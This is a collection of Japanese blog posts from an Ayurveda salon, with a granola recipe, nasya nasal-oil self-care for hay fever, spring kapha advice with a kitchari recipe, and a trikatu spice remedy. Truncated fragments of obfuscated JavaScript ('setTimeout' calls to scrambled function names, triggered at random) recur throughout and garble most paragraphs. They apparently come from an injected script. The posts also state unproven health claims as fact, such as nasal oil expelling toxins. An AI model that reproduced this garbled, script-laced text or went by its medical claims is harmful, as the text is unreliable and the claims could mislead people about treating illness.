アーユルヴェーダ的 手作りグラノーラ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
ずっと作ってみたかったグラノーラを
アーユルヴェーダテイストを織り込んで作ってみました

ベースとしたのは、下記のレシピ。
 [emoji:e-141]『アメリカの手作りグラノーラ』andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
まず、用意するのは
グラノーラのベースであるオートミールandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
オーガニックでとってもお買い得なのを発見しました。

nk-Organic オーガニック・オートミール 1.5Kg

nk-Organic オーガニック・オートミール 1.5Kg
価格:880円(税込、送料別)

これに、ナッツやドライフルーツを加えるわけですが、
アーユルヴェーダ的におすすめの
生アーモンドandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}デーツandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}は大量に用意します

2014-04-25 1s
生アーモンドはコストコで買ったもの、
デーツはオートミールと同じお店で購入しました。
 nk-Organicオーガニック・デーツ(種抜きなつめやし) 1Kg
さらに、いろんなナッツやドライフルーツを入れたいけれど
全部そろえていると結構お高くつくので、
今回は、こんなものを使ってみました
2014-04-25 22
これは、外国のスナックなんですけど、
ナッツとドライフルーツをミックスしたお菓子なんです。
・ドライローストしたアーモンド
・ドライローストしたカボチャの種
・ヒマワリの種
・レーズン
・クランベリー
・ワイルドブルーベリー
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

が入っているので、これを混ぜるだけで具はバッチリですよ。
しかもオーガニック。賢いワタシ。
2014-04-25 2
袋から出すと、こんな感じ。1袋113gだそうです。
アーモンドだけざっくり刻みました。
このままだとナッツがアーモンドばかりになってしまうので
もう一個ぐらい、クルミとかカシューナッツとか
入れると良いかなあと思い、今回はカシューナッツandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}を用意。
2014-04-25 3
こちらは、無塩のものをインド食材店で調達。
製菓用とかでも良いですね。
こちらも、ざっくり刻みます。
さらに、ベリーミックスと同じお店に売っていた
トロピカルフルーツのドライフルーツandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
買ってみました。(笑)
2014-04-25 5
では、いよいよ作り方です。


【作り方】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1.オーブンを120℃に温め始める
2.大きいボールにオートミールを3カップ入れる
3.ワイルドベリーミックス1袋分の刻んだアーモンドと
  その他のナッツ&フルーツ、
  1/2~1カップ分ぐらいのカシューナッツ等を加える
  (本来、ドライフルーツは後混ぜのレシピも多いけど
   ミックスで分けづらいので一緒でOK)
4.ブラウンシュガー(うちは甜菜糖)を大さじ2、
  メープルシロップを大さじ4、
  グレープシードオイル(サラダ油でも)を大さじ2入れて
  よーく混ぜる
5.天板にオーブンシートを広めにひき、混ぜたものを入れる
6.温まったオーブンに入れ、1時間乾燥させていくandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

  乾燥させることでカパを増やさないようになります
7.ポイントは、焦がさないように15分ごとに混ぜて
  全体を乾燥させるようにすること
8.その間に、生アーモンドとデーツをざっくり刻む
  合わせて1カップぐらいandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

  生アーモンドは本来、皮は消化に重いので剥くのが
    おすすめですが、ピッタ(消化力)が高い私はそのまま使っちゃう

9.ボールに生アーモンド、デーツを入れ、
  他のドライフルーツがあれば加える
  (今回は、トロピカルフルーツダイス)
10.そして試しに、ここにチャイ用のマサラミックススパイスを
  小さじ1ほど入れてみました
  (シナモンだけを少し入れたりしてもいいかも)
10.焼き終わったオートミールたちを
  ボールに入れてよーく混ぜて出来上がり
11.よーく冷ましてから密閉容器にうつすandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}


こうして出来たのがこちら
2014-04-25 6
完全に売り物っぽい感じです
今日の朝、豆乳と蜂蜜をかけていただきましたが
チャイ風味も本当にバッチリはまっていて
最高に美味しかったです
アーユルヴェーダでは、
はちみつもとてもパワーのある食べ物。
ただ、加熱すると毒素になってしまうので、
食べるときに加えるのがポイント。

蜂蜜はカパを減らし脂肪を削り取ると言われます
さらに、牛乳と酸味を一緒にとってはいけないので
ドライフルーツにやや酸味のあるものがあったことで
豆乳で食べることにしました。

豆乳は大豆と考えると渋味があるので
  カパやピッタは下げますがヴァータは上げます

そして、生アーモンドやデーツなどを始め、
とてもエネルギーの強い食物がたくさん入っているので
食べ過ぎないようにする方が良いでしょう。

グラノーラ全体を考えるとカパの高い人には良いですが
ヴァータが高い人は食べ過ぎない方が良さそうな食べ物かな。
私は、ピッタカパなのでピッタリではあるんですけど
ちょっと量を食べすぎました。(笑)
普通のシリアル感覚で盛ったらダメですねー
ちなみに、ベリーミックス等を購入したのは下記のサイト。
iHerb-logo-jp.png
オーガニック食材もそうなんですけど、
アーユルヴェーダ製品の超大手ヒマラヤブランドの
サプリなども取り扱っているandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ので
最近、良く購入しております。うふふ。
個人輸入なのに送料は4ドル程度だし、
初回限定クーポンコード『KLL178』andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
を使うと割引になるのでお試しあれ~
アーユルヴェーダサロンmanas 《マナス》

私の花粉症対策

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
前回、春のカパ対策についてお話しましたが、
もう一つ、春におすすめ…というか、
春に備えてやった方が良いものがあるのでご紹介します。
それが、「ナスヤ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
以前にも、そのやり方はかいたので詳細はこちらを。
『自分で出来る浄化法「ナスヤ」』
2013-04-15s.jpgandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

このナスヤ、鼻にオイルを入れて口から吐き出すことで、
鎖骨から上の毒素を排泄するというもの。
花粉症の原因となる過剰なカパを、これで出すことができます。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
鼻炎など、鼻に問題がある人には全般的におすすめです。

鼻に入れるオイルは、アヌタイラと言うナスヤ用のオイルが最高andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ですが、
太白ごま油でも大丈夫andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
ほんの2滴程度を鼻に入れて、しっかり吸ってください。
前に、症状が悪いので、効くようにたくさん入れたいから、
どのくらいまで入れていいか、と言う質問を受けたのですが、
アーユルヴェーダ医師の元でやる以外は、絶対に大量に入れてはいけませんandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
反応が激しくなって、どんな変化が起こるか分からないですし、
良いと思ったことが、悪い結果を生むかもしれません。
セルフケアは、あくまでセルフケアとして、
長く続けることで少しずつ改善を目指しましょう。
また、ナスヤまで出来ない方は、
鼻孔にオイルを塗るだけでもOKなので、お試しください。

指にオイルを取って、鼻の内側に塗るだけ。
オイルは、粘膜から吸収されます。
余談ですが、ヴァータ(風)が乱れやすい方などは、
耳の中にオイルを塗るandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
と落ち着きます。
不安や心配が多い、音がやたらと気になる、
夜の寝つきが悪い、などはヴァータ乱れの現れです。
塗るだけでなく、丸めたコットンにオイルを含ませたもので耳栓をし、
音もさえぎると、より効果が上がるでしょう。

さて、そんなナスヤを、ちょいちょいさぼりながらも
自分史上としては、一番がんばってやってきたつもりの一年。
さて、花粉症は少しは軽くなってくれてるでしょうか?
ドキドキ・・・
はあ、こうして時期が来て初めて、
ちゃんと毎日やればよかったなーって思うんですよねー
ダメですよねー(笑)
でも、またちゃんと頑張ろうと思ってアヌタイラ買いました
やろうと言う気持ちですよ気合ですよ大事なのは
実際に効果が望めるのは、カパを溜めないように
冬の間からの対策することが大切ですが、今からでも
肉類や乳製品を減らして、春の苦みや渋みのある野菜をとったり
体も冷やさない、食べるものも冷やすものを避ける、など
できることはやると良いですね。
特に、髪の毛を洗った後、ちゃんと乾かさないのは冷えて
カパを溜める一因となります。要注意[emoji:e-2] アーユルヴェーダサロンmanas 《マナス》

春はカパの溶け出す季節

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
まだ寒い日は続いていますが、もうすぐ春がやってきます。
アーユルヴェーダ的には、春はカパと言うエネルギーが
外に溶け出してくる季節なのです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

「カパ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}というのは、主に水の力なので粘膜やむくみなど
体の水分と関わるところに影響が出ます。
例えば春の花粉症なども、その一つです。
そんなカパ対策は、冬のうちからやっておくと重くならないのですが
今からでも遅くない!と言うことで、
春のカパ対策をご紹介します。
1.絹で体を摩擦する「乾布摩擦」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
アーユルヴェーダでは、絹ガルシャナと言われる方法で、
絹の手袋で体をこすって、熱を与えて脈管を開くもの。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
カパは、重くてねっとりしているものなので、乾燥を与えて軽くし、
また冷えの性質を持っているので、逆の熱を加えることで鎮静できるわけです。
自分で体をこする時は、そんなにルールにこだわることもありません。
大事なポイントは2つ。
・こする向きは下から上!毛並みに逆らうようにする(関節は丸く)
・摩擦で温かさを感じるように、しっかりこする!

皮膚が弱い方や、傷や湿疹などがある方はやらないでください。
2.食事は軽く、消化のいいものをandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
食事の量が多かったり、消化に重いものを食べていると
カパが増えてしまいます。
今はカパを減らしたい時期ですので、消化力をあげる(下げないような)
食事を心がけましょう。
以前、このブログでも紹介した、インドのお粥「キチュリ」はおすすめです。
先日、安藤るみ子先生のスクールの講義でも
お料理上手な三木まり子先生に教えてもらって作りました
【キチュリの作り方】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1.お米とムング豆を洗ってざるにあげる
  ※ムング豆は緑豆ですが、緑の皮の部分は消化に重いため、
   皮をむいて半割にしてあるものが良いです↓

   idsp298.jpg
  イエロームングダールは、唯一、軽性の豆。
  通常、豆類は消化に重いのです。
2.ここでお粥を炊いても良いのですが、
  より軽くするために、豆と米をそれぞれ弱火で乾煎りします。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
  はい、ここポイント
  これこそ春だからこそ、やるべきひと手間
  水分を飛ばして、できるだけ軽性にします。
3.そしたら、豆とお米にお水とターメリックを加えて炊くだけ。
  今回は、季節の食べ物としてアスパラと
  ピッタ(=消化力)をあげるにんじんも投入して煮ました。
4.スパイスの香りを移したオイルを別の鍋で作る
  今回はマスタードオイルを熱したところにクミンを入れ、
  さらに、ヒーングandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}↓と言う独特のスパイスを入れました。
  fd_sps_7.jpg
  ヒーングandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}は、植物の樹液を粉にしたもので
  たいていの人は臭い!といいます。(笑)
  強烈な温泉と言うか、硫黄の匂いがするんですねー
  でも、油と使うと、すっごく美味しくなる不思議なスパイスなので
  勇気のある方はお試しください。私は大好きなんですけどね。
  オイルもギーは〇、サラダオイルでも何とかなるような気がします。
  ちなみに、マッサージに使うごま油は消化には重いので
  食べるには、おすすめされていませんので要注意。
4.お粥に、香りづけしたオイルを入れて混ぜたら出来上がり
  2014-03-05s.jpg
  今回は、旬のいんげんと新じゃがのスパイス炒めと
  先生お手製のデーツで色付けした大根の浅漬けなどと
  一緒にいただきました。
アーユルヴェーダでは、
・旬のものをいただく
・地産地消
・彩りなど見た目の美しさ

も食べることの大事な要素として考えられているので
その点もしっかり押さえたランチでした。
最近、食べ過ぎている私も話を聞いて反省しかり。
ガルシャナしよう
アーユルヴェーダサロンmanas 《マナス》

アーユルヴェーダの秘薬

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
先月から今月にかけて、長期をお休みをいただき、
ご迷惑をおかけしております。
その間、ちょっと出かけているのですが
決してお楽しみ旅行と言うわけではありません。(笑)
基本的に旅は好きなのですが、やはり旅先では
いつものようなアーユルヴェーダの日課ができなかったり
寝る時間や食事の時間も乱れがちandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
になってしまいます。
さらに、自分の旅行ではないので、
疲れやストレスをためてしまう可能性andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}も・・・
そんなことになっては、
旅先でやらねばならないことも上手くいかなくなる[emoji:e-2] やはり、体調は万全であることが全ての基本なのです。
と言うわけで、いつも通りに出来ない日でも
なるべく体の調子を保つために
何かアーユルヴェーダ的な対策を
[emoji:e-2]と考えたのがこちらです。
20130624.jpg
「トリカトゥ」のはちみつ和え(笑)andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【トリカトゥとは】
アーユルヴェーダのスパイスミックスで
とても強力な消化促進剤です。
アーマ(毒素)と言われる「未消化物」は
消化力(アグニ)が不順になることで出来てしまうので、
このアグニを活性化することが毒素を作らない、
そして燃やすために必要なのです。
このトリカトゥは、アグニを元気にしてくれる秘薬。
消化力が落ちそうな生活パターンが予想される旅先で
摂取すれば、助けになること間違いなし[emoji:e-2] と言うわけ。
【トリカトゥ作り方】
黒こしょうandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
長こしょうandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
しょうがパウダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
を同量ずつ混ぜるだけ
でも、長こしょうandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ってあまり聞かない名前ですよね?
こんな感じをしています。
20130710.jpg
あまり見ないと思いますが、
実は沖縄では「島こしょう」とか「ヒバーチ」とか呼ばれ、
別名「ピッパリ」などとも言うもの。
沖縄の食材店などに売っています。
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}


阿佐ヶ谷のパールセンター商店街にある
「沖縄倉庫」さんでも売っていたそうです。
(お客様情報)
【使い方は】
小さじ半分ぐらいの量を牛乳や豆乳に混ぜて飲んだり、
はちみつとぬるい白湯に入れて飲んだりするのが簡単。
そこで、ワタクシは
トリカトゥをはちみつに混ぜて旅に持参。
お湯が手に入れば飲むことも出来るし、
はちみつと混ざってるので、そのまま舐めることも可能。

これを、朝と夜だけでもとっておけば
少しは予防になるはずです。
実際、初日は食べ過ぎ、便秘になりそうな気配があった中、
2日目の夜には便通もあり、胃もたれもなくスッキリ。
なんとか3日間をやり過ごせた気がします。
ちなみに、消化促進のもっとも定番な方法は、
生のしょうがをスライスしたものに、
岩塩ひとつまみとレモン汁を少しかけたものを
ご飯の10~20分前に食べておくこと。

でも、旅で生物は持ち歩けないので
今回、初めてトリカトゥ持ち歩きパターンを考案、
試してみた所存です。
そして、あまったトリカトゥ+はちみつは、家で舐めてます。
実は今、疲れと睡眠不足が重なって
体調下がり気味感たっぷりの状態・・・
7月いっぱいはがんばらないと。
皆さんも、忙しいときや食欲がないとき、
これから暑くなってアグニが乱れやすい時期でもあるので
ぜひ、トリカトゥをお試しください[emoji:e-343] アーユルヴェーダサロンmanas 《マナス》

自分でできる浄化法「ナスヤ」

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
さて前回、頭痛にオイルがきいたよ~てな話をしたわけですが
実は、使ったのは謎のオイルだけではありませんでした。
使ったのは、アーユルヴェーダメディスンである「アヌタイラ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
2013-04-15s.jpg
これは、「ナスヤ」と言う治療に使うオイルandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
私が、ナスヤを初めて体験したのは、
インドでのお試しパンチャカルマの時。
こちら⇒http://manas2010.blog118.fc2.com/blog-entry-6.html
体外のことは、なんでも抵抗なく受け入れてしまう私でも、
その不味いさは、著しく良く無い印象を受けた治療。(笑)
